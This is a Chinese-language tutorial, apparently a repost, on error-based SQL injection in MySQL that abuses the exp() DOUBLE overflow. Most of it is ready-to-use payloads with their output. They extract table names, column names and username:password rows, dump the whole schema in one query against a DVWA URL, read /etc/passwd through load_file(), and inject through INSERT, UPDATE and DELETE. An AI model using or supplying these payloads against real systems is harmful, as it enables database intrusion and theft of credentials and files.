首頁> 運維> 安全> 主體

如何使用exp進行SQL錯誤注入

WBOY
發布: 2023-05-12 10:16:12
轉載
1599 人瀏覽過

0x01 前言概述

小編又在MySQL中發現了一個Double型資料溢位。當我們拿到MySQL裡的函數時,小編比較有興趣的是其中的數學函數,它們也應該包含一些資料型態來保存數值。所以小編就跑去測試看哪些函數會出現溢位錯誤。然後小編發現,當傳遞一個大於709的值時,函數exp()就會造成一個溢位錯誤。

如何使用exp進行SQL錯誤注入

mysql> select exp(709);
+-----------------------+
| exp(709) |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)

mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

登入後複製

在MySQL中,exp與ln和log的功能相反,簡單介紹下,就是log和ln都傳回以e為底數的對數,見等式:

如何使用exp進行SQL錯誤注入
如何使用exp進行SQL錯誤注入

mysql> select log(15);
+------------------+
| log(15) |
+------------------+
| 2.70805020110221 |
+------------------+
1 row in set (0.00 sec)


mysql> select ln(15);
+------------------+
| ln(15) |
+------------------+
| 2.70805020110221 |
+------------------+
1 row in set (0.00 sec)

登入後複製

指數函數為對數函數的反函數,exp()即以e為底的對數函數,如等式:

如何使用exp進行SQL錯誤注入
mysql> select exp(2.70805020110221); +-----------------------+ | exp(2.70805020110221) | +-----------------------+ | 15 | +-----------------------+ 1 row in set (0.00 sec)
登入後複製

0x02 注入

當涉及到注入時,我們使用否定查詢來造成「DOUBLE value is out of range」的錯誤。作者先前的博文提到的,將0按位取反就會返回“18446744073709551615”,再加上函數成功執行後返回0的緣故,我們將成功執行的函數取反就會得到***的無符號BIGINT值。

mysql> select ~0;
+----------------------+
| ~0 |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)


mysql> select ~(select version());
+----------------------+
| ~(select version()) |
+----------------------+
| 18446744073709551610 |
+----------------------+
1 row in set, 1 warning (0.00 sec)

登入後複製

我們透過子查詢與位元求反,造成一個DOUBLE overflow error,並藉此註出資料。

>`exp(~(select*from(select user())x))` mysql> select exp(~(select*from(select user())x)); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
登入後複製

0x03 註出資料

得到表名:

select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));
登入後複製

得到列名:

select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));
登入後複製

擷取資料:

select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));
登入後複製

0x04 一蹴而就

這個查詢可以從目前的上下文中dump出所有的tables與columns。我們也可以dump出所有的資料庫,但由於我們是透過一個錯誤來提取,它會傳回很少的結果。

exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)) http://localhost/dvwa/vulnerabilities/sqli/?id=1' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))-- -&Submit=Submit#
登入後複製
如何使用exp進行SQL錯誤注入

0x05 讀取文件

你可以透過load_file()函數來讀取文件,但作者發現有13行的限制,該語句也可以在BIGINT overflow injections中使用。

select exp(~(select*from(select load_file('/etc/passwd'))a));
登入後複製
如何使用exp進行SQL錯誤注入

注意,你無法寫文件,因為這個錯入寫入的只是0。

mysql> select exp(~(select*from(select 'hello')a)) into outfile 'C:/out.txt'; ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'hello' from dual)))' # type C:\out.txt 0
登入後複製

0x06 Injection in Insert

按部就班就好

mysql> insert into users (id, username, password) values (2, '' ^ exp(~(select*from(select user())x)), 'Eyre'); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
登入後複製

對於所有的insert,update和delete語句DIOS查詢也同樣可以使用。

mysql> insert into users (id, username, password) values (2, '' | exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)), 'Eyre'); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '000 newdb::users::id newdb::users::username newdb::users::password' from dual)))'
登入後複製

0x07 Injection in Update

mysql> update users set password='Peter' ^ exp(~(select*from(select user())x)) where id=4; ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
登入後複製

0x08 Injection in Delete

mysql> delete from users where id='1' | exp(~(select*from(select user())x)); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
登入後複製

和前面的BIGINT注入一樣,exp注入也適用於MySQL5.5.5以上版本。先前的版本對於此情況則是「一言不發」。

mysql> select version(); +---------------------+ | version() | +---------------------+ | 5.0.45-community-nt | +---------------------+ 1 row in set (0.00 sec) mysql> select exp(710); +----------+ | exp(710) | +----------+ | 1.#INF | +----------+ 1 row in set (0.00 sec) mysql> select exp(~0); +---------+ | exp(~0) | +---------+ | 1.#INF | +---------+ 1 row in set (0.00 sec)
登入後複製

可能還有其他的函數會產生這種報錯呦。

以上是如何使用exp進行SQL錯誤注入的詳細內容。更多資訊請關注PHP中文網其他相關文章!

相關標籤:
來源:yisu.com
本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn
最新下載
更多>
網站特效
網站源碼
網站素材
前端模板
關於我們 免責聲明 Sitemap
PHP中文網:公益線上PHP培訓,幫助PHP學習者快速成長!